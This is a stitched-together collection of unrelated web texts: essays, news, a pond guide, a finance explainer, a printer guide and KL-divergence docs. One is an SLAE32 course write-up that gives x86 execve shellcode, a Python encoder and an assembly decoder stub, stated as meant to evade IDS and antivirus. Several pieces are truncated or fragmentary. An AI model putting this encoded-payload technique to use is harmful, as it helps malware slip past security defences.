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11/9/19 Pretermitted heir
pretermitted heir is a child or descendant of the testator—the maker of a will—who has unintentionally been omitted from the will. States have enacted “pretermitted heir statutes” that protect these heirs. The presumption of these statutes is that the testator must expressly disinherit a child or descendant in his or her will. This presumption dates back to early Roman Law. If the will does not specify intention to disinherit, the law will presume that the omission of the child or descendant was unintentional. These statutes authorize the child or descendant to take the same share of the estate that he or she would have taken if the testator had died intestate, without a will. A pretermitted heir must be a child or descendant either living at the date of the execution of the will or born thereafter. These after-born heir statutes are similar to pretermitted heir provisions. The presumption is that an after-born child does not revoke a will but has the effect of modifying it. |
Katarzyna a diverse workforce. Workplace diversity is
Katarzyna Borkowska
Student number: 1803630
Unit: 3 RTO
Group: June 18
Tutor: Anna Kaye
18 November 2018
Resourcing Talent.
1.1 Explain the organisational benefits of a diverse workforce.
Workplace diversity is defined as accepting, understanding and valuing difference between people of different races, genders, ages, ethics, disabilities and sexual orientations, same as differences in personalities, skill sets, knowledge bases and experiences.
Below I’m presenting three organisational benefits of a diverse workforce:
Increases the talent pool within the company:
Having a variety of people conducting screenings and interviews for a company help establish checks and balances as well as showing candidates that they will be welcome and comfortable.Candidates/employees are who have experienced diversity in their every day lives or whilst in education will apply, this increases talent pool available to the company and increases the chances of fining the best candidate for the job.
Increase in profit:
Companies can use their employees to help with their understanding of the needs of multicultural society.For example in retail employees could advise the company on specialised products to sell, in turn this could encourage more sales within the store and potentially increased the profit.
Increased levels of a customer service:
This can provide help with language barrier and understanding of different needs within the culture.Another factor is age.Older customers do not always relate well to younger employees in service environment and vice versa. A diverse work force will encourage a diverse customer base in turn a higher customer service level will increase the amount of a customers.
1.2 Explain the factors that affect an organisations approach to talent planning.
Factors that’s affect an organisation approach to talent planning:
Training and Development:
This factor will attract more potential candidates who wants to expand their skills and progress their career.This will also benefit within company staff as this will encourage them to apply for promotions or move within the company.
A benefit package adds value for an employee i.e if flexibility is added within the package to reflect the age, family needs and a lifestyle of a potential candidate this will attract wider range of applicant and help to retain current employers.
Location of place of work:
If the company is situated out of the town without public transport links or good road networks the company would’t attract as many candidates as in better location.A lot of employees don’t like to travel too fare to work and much more prefer to work near their home.In a less populated area company would have to look future a field as the job skills might not be available in this area.
Economic environment:
Once the economy is on a down turn and there is a large amount of unemployed the company might have more than normal candidates to choose from for a role but once the economy takes a upturn and the job market improves the employees might move unless the company offers a competitive salary/benefits package or prospect of development.
1.3 Describe the factors that affect an organisations recruitment and selection policy.
Time Scales:
If a vacancy is for specialised position the company might have to look further a field for ideal candidate for the role.This can result in additional time taken for recruitment process which in turn this could bring extra stress on the existing workforce whilst they have to carry out additional work and customer service levels could be affected as an result.
Recruitment can be costly to the company if the talent pool is not directly available they might have to pay for recruitment i.e by using an employment agency. If vacancy is not filled within timescale the company might have to use an agent staff to cover the work load which brings additional costs.
Type of a Role:
The vacancy that doesn’t require specialistic skills could result in high level of candidates which can make whole recruitment process longer by having to shift all of the applications or can result in fewer applications depends on geographical economy.Although recommendation by existing employees can benefit company by saving time and finding ideal candidate for the role.
2.1 Describe different recruitment methods and identify when it is appropriate to use them.
Company website:
The company advertises their vacancies on their own website with a job description and all the informations.Section with job advert is linked to the main page and potential candidates completes a generic form for personal details, then this is linked to the application form or a link to upload a CV.Also this can be linked to company recruitment system.
Local Career/ Recruitment Fairs:
Organisation has a stand on a Recruitment Fair Event to advertise the job vacancies with a recruitment material i.e application forms, job description etc.The company representative i.e Human Resources, department managers speak directly to the candidates in the same time giving details of the company and vacancies available. Details from potential candidates such as application form/CV are taken by the point of contact.
Job centres:
The company has an online account with job centre details where advertise job vacancies which will be advertised not only in local job centre but also on line, therefore the vacancy will have wider geographical audience. Job vacancies advertised through job centre are at no cost.
2.2 Describe different selection methods and identify when it is appropriate to use them.
Below I’m going to present different selection methods:
Assessment Centre ( selection of the following):
Role play
Psychometric test
In-tray exercise
Group exercise
Social side
A selection panels asses the candidates as they competed each task by marking paper exercises which have an exact required outcome or rating by observations with defined making system.Once the marks are collated the panel then representative Human Resources/ Department Managers discuss whole outcome before final decision is made.This process is used to give a good clear overview of all candidates include their strengths and weaknesses.
Structured Interview:
This method is developed from traditional interview process but rather than asking question based on the candidate’s application form questions the questions are asked to allow the potential candidate to demonstrate certain competences i.e “Describe a situation where you needed to persuade someone to accept your point of view or convince them to change something .”The same questions and standardised score sheet are used for each applicant before allowing a fare process.
Role play:
That’s an exercise where candidates act out a scenario with either group or interviewer.This process determinate how suitable the candidate is for a particular role.This selection method effectively test how potential candidates might approach difficult situations which occur in the business world.
3.1 Develop a job description and person specification for an identified role.
3.2 Select appropriate recruitment channel(s) and draft material to attract talented individuals for an identified role.
3.3 Develop selection criteria and shortlist candidate applications for interview for an identified role.
3.4 Participate effectively in selection interview and the decision-making process for an identified role.
3.5 Identify the record that needs to be retained and write letters of appointment and non- appointment for an identified role.
4.1 Explain the purpose, importance, and benefits of induction to individuals and organisations.
The induction process is aimed to give the employee a clear out line job recruitments, with details of company structure, showing how the employee will fit into the team and outlines the functions and aims of the company.New employee will be integrated into the company easier giving them the confidence and feeling of belonging.This process keeps the employee busy in the initial stages of the employment allowing to have structured and easier settling in period, also providing valuable informations.This process creates a good impression of the company, giving a return on the time and money invested and helps to retain the employees.
4.2 Identify areas to be covered by induction and the roles of those involved. |
Aussie research to find Vietnam war dead
They're known as the "wandering souls", having died in in fierce Vietnam War battles, but now those souls may get to find peace.
Data from Australian military operations has been analysed to tell the Vietnamese government where their fallen soldiers lay, so they can be given a proper burial.
This is particularly important in Vietnamese culture as many believe the spirits of those who died violently, or whose fate is unknown, will wander forever unless the appropriate ceremony is held for them.
University of NSW Canberra lecturer Dr Bob Hall says the analysis of Australian battles and mementos has revealed the location of many Vietnamese soldiers.
"This is the best chance so far since the war ended in 1975 to repatriate the remains of the fallen," he said.
The research will be handed to a Vietnamese delegation at Parliament House on Tuesday, to help the Asian nation find its 300,000 missing war dead.
Operating Wandering Souls began after the Vietnamese government helped return the bodies of six Australians who were listed as missing in action at the end of the Vietnam War.
Related Articles
Since 2012, the project has provided information on more than 450 of those who died in combat with Australian and New Zealand forces and linked their names to specific burial sites.
Researchers have used items such as photographs, diaries and letters taken from Vietnamese soldiers as mementos of war to provide clues to where their owners were buried.
© AAP 2020
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A Wildlife Pond
If you have room in your garden a well designed pond will be a haven for birds and attract a wider variety of unusual visitors.
Lily Pond
A pond in your garden will benefit birds in a number of ways:
it provides clean oxygenated water for birds to drink
it provides a safe, accessible place for them to bathe,
it attracts insects and other invertebrates which will provide a natural food source for birds
it may attract water loving birds such as kingfishers and herons.
A well designed pond is a complex habitat full of algae and plants, scavengers, predators, herbivores, decomposers and parasites. Some species will live their whole life in the pond such as water snails, whereas others, such as pond skaters, will use it for only part of the time.
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The remains of a Roman massacre of Britons were found in an Iron Age hill fort 1.6 miles south-west of Dorchester in Maiden Castle, which was constructed at around 600 BC as hill-top settlements to protect Britain from invasions. Almost 150 years later the hill fort was greatly expanded to become the largest of its kind in Britain and Europe.
Recently archaeologists who visited the historic site explained the area in more detail and described the discovery as the "most dramatic find."
The hill fort in Britain
After the expansion of the castle, its defence system was made more complex with additional ramparts and ditches. But almost three centuries later the habitants of the castle went into decline.
An archaeologist Francis Pryor visited the site while the shooting the documentary TV series "Britain BC". During his time at the castle site, he mentioned that "Land had acquired a new meaning to ancient Britain and these patches of common land, packed with ancestral bones, became magic.
Maiden Castle
Maiden Castle Wikimedia commons
New details about the castle
Pryor stated that the people behind the construction of the fort thousands of years later knew that they were building on a sacred place. But the story behind the Maiden Castle is filled with a sad epilogue, he said.
The British archaeologist, Mortimer Wheeler, who discovered the castle site found what he believed were the remains of a battle between the Romans and Britons. In the TV series, Pryor described that "It was the most dramatic thing that I've ever been concerned with. I've got a clear vision of what happened and how it happened."
Pryor mentioned that as per Wheeler the Romans gave the Britons a rush and got in amongst these chaps and cut down the defenders in mass formation. In addition, he also said that one of the remains of the Britons were found with seven cuts on his skull and the site was filled with human corpses. As per the archaeologist, 40 such remains were found with fatal wounds.
Another finding of the castle
Andrew Lawson, the director Wessex Archaeology stated that "Wheeler was a military man and this fantastic graphic description of the natives being beaten up by the Roman army can be seen in a number of the burials. Only 14 of the burials actually had evidence of injuries and wounds."
Later, Pryor gave a reply to the comment while stating that there is no surprise that Wheeler found so many bodies and experts know that the hill fort, Maiden Castle had been an important ground for thousands of years.
As per Pryor, the discoverer of the hill fort didn't acknowledge it because he was so captivated by the military success of the Romans. In addition, he also said that the Roman invasion had left a terrible effect, not just on how Britain views its history, "but on how we developed as a nation." The archaeologist also revealed that the invasion looked like an act of civilizing the country but in reality, it was a brutal suppression.
Roman conquest of Britain
Roman conquest of Britain
Roman conquest of Britain Wikimedia commons
The invasion of Britain was a properly planned military and political effort to project Roman power in the Northeastern Atlantic. It was in 43 AD after the failure of Julius Caesar's invasion attempt when Emperor Claudius appointed the Roman politician Aulus Plautius as the head of the Roman invasion of Britain in 43 AD.
Plautius was assigned to raise an army, cross the English Channel and command the military to subjugate the British. He was to be promoted as governor of Britain and develop a province out of this victory. Accordingly, he had set out with an army about 50,000 men from all over the Roman Empire for his invasion. |
What Is Risk Analysis?
Risk analysis is the process of assessing the likelihood of an adverse event occurring within the corporate, government, or environmental sector. Risk analysis is the study of the underlying uncertainty of a given course of action and refers to the uncertainty of forecasted cash flow streams, the variance of portfolio or stock returns, the probability of a project's success or failure, and possible future economic states. Risk analysts often work in tandem with forecasting professionals to minimize future negative unforeseen effects.
Key Takeaways
• Risk can be analyzed using several approaches including those that fall under the categories of quantitative and qualitative.
• Risk analysis is still more of an art than a science.
Understanding Risk Analysis
A risk analyst starts by identifying what could go wrong. The negative events that could occur are then weighed against a probability metric to measure the likelihood of the event occurring. Finally, risk analysis attempts to estimate the extent of the impact that will be made if the event happens.
Quantitative Risk Analysis
Risk analysis can be quantitative or qualitative. Under quantitative risk analysis, a risk model is built using simulation or deterministic statistics to assign numerical values to risk. Inputs that are mostly assumptions and random variables are fed into a risk model.
For any given range of input, the model generates a range of output or outcome. The model is analyzed using graphs, scenario analysis, and/or sensitivity analysis by risk managers to make decisions to mitigate and deal with the risks.
A Monte Carlo simulation can be used to generate a range of possible outcomes of a decision made or action taken. The simulation is a quantitative technique that calculates results for the random input variables repeatedly, using a different set of input values each time. The resulting outcome from each input is recorded, and the final result of the model is a probability distribution of all possible outcomes. The outcomes can be summarized on a distribution graph showing some measures of central tendency such as the mean and median, and assessing the variability of the data through standard deviation and variance.
The outcomes can also be assessed using risk management tools such as scenario analysis and sensitivity tables. A scenario analysis shows the best, middle, and worst outcome of any event. Separating the different outcomes from best to worst provides a reasonable spread of insight for a risk manager.
For example, an American Company that operates on a global scale might want to know how its bottom line would fare if the exchange rate of select countries strengthens. A sensitivity table shows how outcomes vary when one or more random variables or assumptions are changed. A portfolio manager might use a sensitivity table to assess how changes to the different values of each security in a portfolio will impact the variance of the portfolio. Other types of risk management tools include decision trees and break-even analysis.
Qualitative Risk Analysis
Qualitative risk analysis is an analytical method that does not identify and evaluate risks with numerical and quantitative ratings. Qualitative analysis involves a written definition of the uncertainties, an evaluation of the extent of the impact (if the risk ensues), and countermeasure plans in the case of a negative event occurring.
Examples of qualitative risk tools include SWOT Analysis, Cause and Effect diagrams, Decision Matrix, Game Theory, etc. A firm that wants to measure the impact of a security breach on its servers may use a qualitative risk technique to help prepare it for any lost income that may occur from a data breach.
While most investors are concerned about downside risk, mathematically, the risk is the variance both to the downside and the upside.
Almost all sorts of large businesses require a minimum sort of risk analysis. For example, commercial banks need to properly hedge foreign exchange exposure of overseas loans while large department stores must factor in the possibility of reduced revenues due to a global recession. It is important to know that risk analysis allows professionals to identify and mitigate risks, but not avoid them completely.
Example of Risk Analysis: Value at Risk (VaR)
Value at risk (VaR) is a statistic that measures and quantifies the level of financial risk within a firm, portfolio, or position over a specific time frame. This metric is most commonly used by investment and commercial banks to determine the extent and occurrence ratio of potential losses in their institutional portfolios. Risk managers use VaR to measure and control the level of risk exposure. One can apply VaR calculations to specific positions or whole portfolios or to measure firm-wide risk exposure.
VaR is calculated by shifting historical returns from worst to best with the assumption that returns will be repeated, especially where it concerns risk. As a historical example, let's look at the Nasdaq 100 ETF, which trades under the symbol QQQ (sometimes called the "cubes") and which started trading in March of 1999. If we calculate each daily return, we produce a rich data set of more than 1,400 points. The worst are generally visualized on the left, while the best returns are placed on the right.
For more than 250 days, the daily return for the ETF was calculated between 0% and 1%. In January 2000, the ETF returned 12.4%. But there are points at which the ETF resulted in losses as well. At its worst, the ETF ran daily losses of 4% to 8%. This period is referred to as the ETF's worst 5%. Based on these historic returns, we can assume with 95% certainty that the ETF's largest losses won't go beyond 4%. So if we invest $100, we can say with 95% certainty that our losses won't go beyond $4.
One important thing to keep in mind. VaR doesn't provide analysts with absolute certainty. Instead, it's an estimate based on probabilities. The probability gets higher if you consider the higher returns, and only consider the worst 1% of the returns. The Nasdaq 100 ETF's losses of 7% to 8% represent the worst 1% of its performance. We can thus assume with 99% certainty that our worst return won't lose us $7 on our investment. We can also say with 99% certainty that a $100 investment will only lose us a maximum of $7.
Limitations of Risk Analysis
Risk is a probabilistic measure and so can never tell you for sure what your precise risk exposure is at a given time, only what the distribution of possible losses are likely to be if and when they occur. There are also no standard methods for calculating and analyzing risk, and even VaR can have several different ways of approaching the task. Risk is often assumed to occur using normal distribution probabilities, which in reality rarely occur and cannot account for extreme or "black swan" events.
The financial crisis of 2008 that exposed these problems as relatively benign VaR calculations understated the potential occurrence of risk events posed by portfolios of subprime mortgages. Risk magnitude was also underestimated, which resulted in extreme leverage ratios within subprime portfolios. As a result, the underestimations of occurrence and risk magnitude left institutions unable to cover billions of dollars in losses as subprime mortgage values collapsed. |
Socialization: Elite Education Essay
Submitted By mkkaur93
Words: 1597
Pages: 7
The American way of life in reference to parenting, priorities and educational systems are very different when compared with that of other countries. Education is looked highly upon and is very significant in almost every culture. The educated people in society are looked at as wise and intellectual individuals. Therefore, how and what is taught in schools is of special interest to many people. Parenting and priorities also contribute to the overall individuals sense of self and social characteristics. For example, the authors of Privilege and the Importance of Elite Education, Peter W. Cookson and Caroline H. Persell shed light on the American educational system in that elite boarding schools do not simply reinforce economic and academic advantages, but create an entire and all-absorbing culture where privilege is assumed and accepted and hierarchical power is valued and trusted. These authors explain how education in elite boarding schools in America contributes to the overall social and individual aspect in children. On the other hand, the article Bebe Au Lait by Pamela Druckerman, goes through the life of an American woman trying to raise her child in Paris, France - a completely different cultural system from what the American woman herself was used to. Through this woman’s daily hurdles, it was apparent how different of a cultural system other countries have as it pertains to the development of the individual and social self.
In the Privilege and the Importance of Elite Education, Cooksen and Persell suggest that for a child to go to boarding school means that child enters into a culture. The prep school curriculum is based upon a classical, humanities tradition with little emphasis on modern, much less multicultural aspects. The child is ‘molded’ from the start in terms of what good and bad habits are and how to engage the “correct” way socially. Competitive sports reinforce the idea that healthy competition is good, particularly in the name of a team or school with like-minded individuals of the same social class. Teachers and headmasters show benign but unquestioned discipline. The teacher stresses the need to intellectually challenge the student and question student assumptions in a way that ‘shapes’ those assumptions towards a single, desired answer. “Impersonal regulation” from above “becomes a substitute for personal decision making, ensuring that the troops will stand firm in a crisis” (Cookson & Persell, 25). According to this metaphor, the elite are an army in a cultural war, and prep schools are basic training for that same war.
At prep schools, like the military, there is also a strong service ethic that the students attending are members of a unique class of people and because of this, they need to give back to the less fortunate. This can be thought of in terms of the military or even high-paying professions such as doctors and lawyers who do help those “in need.” Although this service ethic is a positive aspect in terms of society, it doesn’t surpass the value of the need to remain “on top” for the elite. For example, high social-class families that send their children to these schools are anxious that their children must succeed no matter what. The elite desire to perpetuate themselves and their values, which will enable them to stay in power from generation to generation. These boarding schools enable the children of the elite to become entirely engulfed in these values, from a young age, with little exposure to other ways of life. Due to this conformity imposed upon them since a young age, students often feel stifled, and the authors write about the many students that seek refuge from the pressures of school, competition and parental expectations in alcohol, drugs and even suicide. Accepting pressure is part of the atmosphere of “paying what you owe” for the privilege you receive; in the form of obeying teachers and losing privacy - is a way of making students feel better about accepting the… |
curent flow through x1 x2 x3
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Dear Student,
a) We know that when the resistors are placed in parallel combination they have same voltage drop but the current gets divided. Therefore, in case a) x1, x2 and x3 are connected in parallel combination.
Hope this information will clear your doubts about topic.
• 0
Option f
• 0
What are you looking for? |
Quantum Mechanics and Light: Scientific manipulation of light
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Quantum Mechanics and Light: Scientific manipulation of light
Scientists see the light then make it disappear
Email Print Normal font Large font Deborah Smith
February 8, 2007
IT'S THE ultimate trick with light. Scientists have succeeded for the first time in extinguishing light in one spot and then making it reappear somewhere else.
This unprecedented control over light could pave the way for superfast computers and totally secure communication systems.
University of Sydney physicist Stephen Bartlett said the research by an American team was an important step towards the development of light-based technologies.
Nothing travels faster than light, which travels from the sun to Earth in only eight minutes, but scientists want to slow it down so they can better manipulate it.
Researchers led by Lene Hau at Harvard University had their first success in 1999, when they reduced the speed of light by 20 million fold, to 60kmh by passing it through a cloud of very cold gas (just above minus 273C).
In 2001 her team brought light to a dead stop in a similar cloud, known as a Bose-Einstein condensate.
For the new study, published overnight in the journal Nature, Professor Hau created two condensates a tiny distance apart. When a laser light pulse was beamed into one it slowed to a halt, as expected. But the light was then completely converted to matter, which travelled over to the second condensate at a leisurely pace of 200 metres an hour.
The original light pulse was reincarnated in that condensate, and went on its way. Professor Hau said the fact that the light was momentarily present as matter in the tiny gap between the condensates was very important, because matter was easy to manipulate, unlike light.
Michael Fleischhauer, of the Technical University of Kaiserslautern in Germany said: "It looks rather like black magic, but it is just quantum mechanics."
Dr Bartlett said the light could be extinguished in one condensate and revived in the other because, at the quantum level, atoms of the same kind are indistinguishable, no matter how far apart they are. "You have to think of the two condensates as one condensate in two different places."
Superfast quantum computers based on light would be able to handle huge amounts of information, for example to better model climate change.
Deborah Smith
Proud Canadian, Enlightened Atheist, Gaming God. |
Sunday, December 28, 2008
Credit Multiplier
Textbook teaching on the creation of money and credit usually describes an increase in the supply of money. Here is an example in an article prepared by an economist at a reputable central bank. She describes a situation where a deposit of $1,000 that comes into a bank from outside becomes $10,000 within the banking system. She assumed a credit multiplier of 10, but if the level of reserves held by the banks the lower, the credit multiplier would be even larger. More money must be good, so all this seems to be quite benign to a student of economics.
Textbooks rarely illustrate the opposition situation where $1,000 is taken out of a bank and the system loses $10,000. This is not quite so nice, but it is relevant to the current situation. If a bank has to write off a bad loan, its capital is reduced by the amount of the loan. The credit multiplier kicks in and reduces the money in the banking system by 10 times as much as was lost by the bank. This is sometimes called deleveraging. The credit multiplier can easily become a credit cruncher.
Jim Fedako said...
You are close, but not correct on the credit write-off.
Since financial institutions are subject to debt-equity ratios, a loss of capital may force a bank to recall loans. But it is the recall of loans -- the payment of loans -- that destroys money, not the write-off itself.
In addition, the central bank can destroy money by selling assets to financial institutions.
Great article over at
Ron McK said...
Thanks Jim. Good Article.
I was not really trying to explain the process, just noting that mainstream economics texts just describe the expansion phase. The ignore contraction multiplier, even though it is more important. |
SLAE32 Assignment 4 - X86 Custom Shellcode Encoder
5 minute read
SLAE32 Assignment #4
Student ID: SLAE-1372
This is the forth of seven assignments in order to complete the SLAE (32bit) certification. The topic covered on this Assignment will be encoders and how to create an encoded shellcode.
Why usage of an encoder and what is an encoder?
The major goal behind the usage of encoders, when writing shellcode is to avoid/bypass the Intrusion Detection Systems (IDS) and Anti Virus (AV). An encoder is an algorithm that changes our initial shellcode retaining the payload.
In general encoded shellcode is preceded by a chuck of code that contains all the information that the decoder needs to retrieve the original shellcode. The image below shows this process. Encoded stub
Custom Encoder
The shellcode that will be encoded is the simple execve(“/bin//sh”, NULL, NULL).
global _start
section .text
xor eax, eax ; reseting the register
push eax ; pushing null terminator
push 0x68732f2f ; push /bin//sh
push 0x6e69622f
mov ebx, esp ; ebx = /bin//sh
push eax
mov edx, esp ; envp = 0
push ebx
mov ecx, esp ; argv = [filename,0]
mov al, 11 ; syscall 12 (execve)
int 0x80 ; syscall
The encoder will have 3 different operations. First will be applied the not followed by left shift and xor. Both parameters are passed as an arguments of the following code:
import sys
if len(sys.argv) != 3:
print "Usage : python <SHIFT number> <XOR number>"
shift = int(sys.argv[1])
xor = int(sys.argv[2])
#exceve-stack shellcode
# addition to the inicial of the encoded shellcode the SHIFT and XOR values
encoded_shellcode =""
encoded_shellcode += '0x'
encoded_shellcode += '%02x, ' %shift
encoded_shellcode += '0x'
encoded_shellcode += '%02x, ' %xor
# [NOT + SHL-N + XOR-N] encoded shellcode
for i in bytearray(shellcode):
new = ~i & 0xff
new = new << shift
new = new ^ xor
encoded_shellcode += '0x'
encoded_shellcode += '%02x, ' %new
# end of shellcode
encoded_shellcode += '0x'
encoded_shellcode += '%02x, ' %xor
aux = 0
print xor
for i in encoded_shellcode.split(","):
if i.strip() == hex(xor):
aux +=1
if aux>2:
print "Encoded shellcode won't work, please pick another xor value"
# print encoded shellcode
print encoded_shellcode
In our case we will have a decoder stub containing the shift and xor values. One more particular situation about our encoded shellcode is that we don’t need to care about the length of the shellcode because at the end we have again the xor value that will tell us when all the decoding part is finished and we can execute our shellcode.
Due to the implementation the shift values must be between 1-7. One more thing that we check if there are more than 2 xor values inside of the shellcode, in that case our encoder won’t work as expected.
Custom Decoder
Now we need to revert all the process in Assembly. We will start by using the technique Jmp-Call-Pop. This technique is used to get into the stack a defined string, our case the encoded shellcode. We will do a jmp short to the label that contains the encoded shellcode and then we will make the call operation. When we make the call we will load into the stack the address of our encoded shellcode. In order to get the address we just need to make a pop operation.
Now that we have the address we can start the decoding process by first getting the shift and xor parameters. We start by checking if our current word is the same as our xor value (check if we reach the end of the decoding process), if not we will make a shift right of the defined value (we make a shift right because our encoder made a shift left and to remove it we must do the opposite). Finally to get the original shellcode we just need to perform a not operation and get the lowest 2 bytes of the word (al). All of this will be more clear with the below code:
global _start
section .text
jmp short enc
xor ecx,ecx ; reset eax, ecx and edx
mul ecx
pop esi ; pointer to the shellcode store in esi
mov cx,[esi] ; get the shift value and store it in ecx
inc esi ; move the pointer to the next word
inc esi
mov bx, [esi] ; get the xor value and store it in ebx
inc esi ; move the pointer to the next word
inc esi
push esi ; push into the stack for future use
mov edi, esi ; move also the pointer into edi
main: ; start of the decoding process
mov ax,[esi] ; move the a word into ax
xor ax, bx ; xor the word in ax with the xor value
jz call_decoded ; after the xor operation if eax = 0 means that we reach the end of execution and we can execute our shellcode
shr ax, cl ; shift right the value in ax cl times
not word ax ; finally we get the not of the value stored in ax
mov [edi], al ; we move the lowest byte into edi
inc esi ; move the pointer to the next word
inc esi
inc edi ; move the pointer to the next byte
jmp short main ; jmp short to the main label
call [esp] ; call the original shellcode
call decoder ; encoded shellcode
encoded: dw 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0x839, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0xce9, 0xc59, 0xc29, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539
After linking, assembling and getting the shellcode using objdump we see that our example with shift 4 and xor 1337 (0x539) works perfectly.
Encoded Exec
In order to change the payload it is just needed to change the code of the shellcode variable in the python encoder file.
Moreover this encoded shellcode can be found on
All the code can be found in my github |
Printers use a computer’s microprocessor and memory to process data. The latest inkjets and lasers are so fast partly because computers themselves have become more powerful and contain much more memory than before.
The printer market is dominated by a handful of well-established brands. Hewlett-Packard is the market leader. Other major brands include Brother, Canon, Epson, and Lexmark.
The type of computer a printer can serve depends on its ports. A Universal Serial Bus (USB) port lets a printer connect to Windows or Macintosh computers. A few models have a parallel port, which lets the printer work with older Windows computers. All these printers lack a serial port, which means they won’t work with older Macs.
Inkjet printers. Inkjets use droplets of ink to form letters, graphics, and photos. Some printers have one cartridge that holds the cyan (greenish-blue), magenta, and yellow inks, and a second cartridge for the black ink. Others have an individual cartridge for each ink. For photos, many inkjets also have additional cartridges that contain lighter shades of cyan and magenta inks; some have added red, gray, blue, or green inks.
Most inkjets print at 2 1/2 to 11 pages per minute (ppm) for black-and-white text but are much slower for color photos, taking 1 1/2 to 21 minutes to print a single 8×10. The cost of printing a black-and-white page with an inkjet varies considerably from model to model—ranging from 3 to 7.5 cents. The cost of printing a color 8×10 photo can range from 80 cents to $1.50.
Price range: $80 to $700.
Laser printers. These work much like plain-paper copiers, forming images by transferring toner (powdered ink) to paper passing over an electrically charged drum. The process yields sharp black-and-white text and graphics. Laser printers usually outrun inkjets, cranking out black-and-white text at a rate of 12 to 18 ppm. Black-and-white laser printers generally cost about as much as midpriced inkjets, but they’re cheaper to operate. Laser cartridges, about $50 to $100, can print thousands of black-and-white pages for a per-page cost of 2 to 4 cents. Color laser printers are also available. Price range: $150 to $1,000 (black-and-white); $400 and up (color).
Printers differ in the fineness of detail they can produce. Resolution, expressed in dots per inch (dpi), is often touted as the main measure of print quality. But other factors, such as the way dot patterns are formed by software instructions from the printer driver, count, too. At their default settings—where they’re usually expected to run—inkjets currently on the market typically have a resolution of 600×600 dpi. For color photos the dpi can be increased. Some printers go up to 5,760×1,440 dpi. Laser printers for home use typically offer 600 or 1,200 dpi. Printing color inkjet photos on special paper at a higher dpi setting can produce smoother shading of colors but can slow printing significantly.
Most inkjet printers have an ink monitor to warn when you’re running low. Generic ink cartridges usually costs less, but most produce far fewer prints than the brand-name inks, so per-print costs may not be any lower. And print quality and fade-resistance may not be as good.
For double-sided printing, you can print the odd-numbered pages of a document first, then flip those pages over to print the even-numbered pages on a second pass through the printer. A few printers can automatically print on both sides, but doing so slows down printing.
Be skeptical about advertised speeds. Print speed varies depending on what you’re printing and at what quality, but the speeds you see in ads are generally higher than you’re likely to achieve in normal use. You can’t reliably compare speeds for different brands because each company uses its own methods to measure speed. We run the same tests on all models, printing text pages and photos that are similar to what you might print. As a result, our scores are realistic and can be compared across brands.
Don’t get hung up on resolution. A printer’s resolution, expressed in dots per inch, is another potential source of confusion. All things being equal, the more ink dots a printer puts on the paper, the more detailed the image. But dot size, shape, and placement also affect quality, so don’t base a decision solely on resolution.
Consider supply costs as well as a printer’s price. High ink-cartridge costs can make a bargain-priced printer a bad deal in the long run. Shop around for the best cartridge prices but be wary of off-brands; we have found brand-name cartridges to have better print quality overall, and per-page costs are often comparable.
Glossy photo paper costs about 25 to 75 cents a sheet, so use plain paper for works in progress and save the good stuff for the final results. We’ve gotten the best results using the recommended brand of paper. You may be tempted to buy a cheaper brand, but bear in mind that lower-grade paper can reduce photo quality and may not be as fade resistant.
Decide if you want to print photos without using a computer. Printing without a computer saves you an extra step and a little time. Features such as memory-card support, PictBridge support (a standard that allows a compatible camera to be connected directly to the printer), or a wireless interface are convenient. But when you print directly from camera to printer, you compromise on what may have attracted you to digital photography in the first place—the ability to tweak size, color, brightness, and other image attributes. And with a 4×6 printer, you give up the ability to print on larger media.
Weigh convenience features. Most printers make borderless prints like those from a photo developer. This matters most if you’re printing to the full size of the paper, as you might with 4×6-inch sheets. Otherwise you can trim the edges off.
If you plan to use 4×6-inch paper regularly, look for a printer with a 4×6-inch tray, which makes it easier to feed paper of this size. With these small sheets, though, the cost per photo may be higher than ganging up a few images on 81/2 x11-inch paper.
With some models, if you want to use the photo inks to get the best picture quality, you have to remove the black ink cartridge and replace it with the photo-ink cartridge. Then you have to replace the black for text or graphics. This can get tedious. Models that hold all the ink tanks simultaneously eliminate that hassle.
Consider connections. Printers with USB 2.0 ports are now fairly common. However, they don’t enable much faster print speeds than plain USB. All new computers and printers have either USB or USB 2.0 ports, both of which are compatible. Computers more than six years old may have only a parallel port.
Decide whether you need scanning and copying. A multifunction unit provides scanning and color copying while saving space. The downside is that multifunction units’ scanners may have lower resolution than the latest stand-alone scanners. Stand-alone scanners are best for handling negatives and slides. And if one part of the unit breaks, the whole unit must be repaired or replaced.
Contact Printer Support Number for Help with your Printer Check This Website
Contact Printer Support Number for Help with your Printer Check This Website
Article Source Link by Brooke Yan |
Kullback-Leibler Divergence
The Kullback-Leibler divergence, sometimes also called the relative entropy, of a distribution \(p\) from a distribution \(q\) is defined as:
\[\DKL{p || q} = \sum_{x \in \mathcal{X}} p(x) \log_2 \frac{p(x)}{q(x)}\]
The Kullback-Leibler divergence quantifies the average number of extra bits required to represent a distribution \(p\) when using an arbitrary distribution \(q\). This can be seen through the following identity:
\[\DKL{p || q} = \xH{p || q} - \H{p}\]
Where the Cross Entropy quantifies the total cost of encoding \(p\) using \(q\), and the Entropy quantifies the true, minimum cost of encoding \(p\). For example, let’s consider the cost of representing a biased coin by a fair one:
In [1]: In [1]: from dit.divergences import kullback_leibler_divergence
That is, it costs us \(0.1887\) bits of wasted overhead by using a mismatched distribution.
Not a Metric
Although the Kullback-Leibler divergence is often used to see how “different” two distributions are, it is not a metric. Importantly, it is neither symmetric nor does it obey the triangle inequality. It does, however, have the following property:
\[\DKL{p || q} \ge 0\]
with equality if and only if \(p = q\). This makes it a premetric.
kullback_leibler_divergence(dist1, dist2, rvs=None, crvs=None, rv_mode=None)[source]
The Kullback-Liebler divergence between dist1 and dist2.
• dist1 (Distribution) – The first distribution in the Kullback-Leibler divergence.
• dist2 (Distribution) – The second distribution in the Kullback-Leibler divergence.
• rvs (list, None) – The indexes of the random variable used to calculate the Kullback-Leibler divergence between. If None, then the Kullback-Leibler divergence is calculated over all random variables.
dkl – The Kullback-Leibler divergence between dist1 and dist2.
Return type
ditException – Raised if either dist1 or dist2 doesn’t have rvs or, if rvs is None, if dist2 has an outcome length different than dist1. |
I am a science teacher. So far I haven’t had any issues with my faith and Biology or my position on evolution but with the recent discovery of water on Mars I’m starting to wonder…”What if there was bacteria or some other life form on Mars? What does that mean?” I was wondering if you had any thoughts on this and could help a sister out?
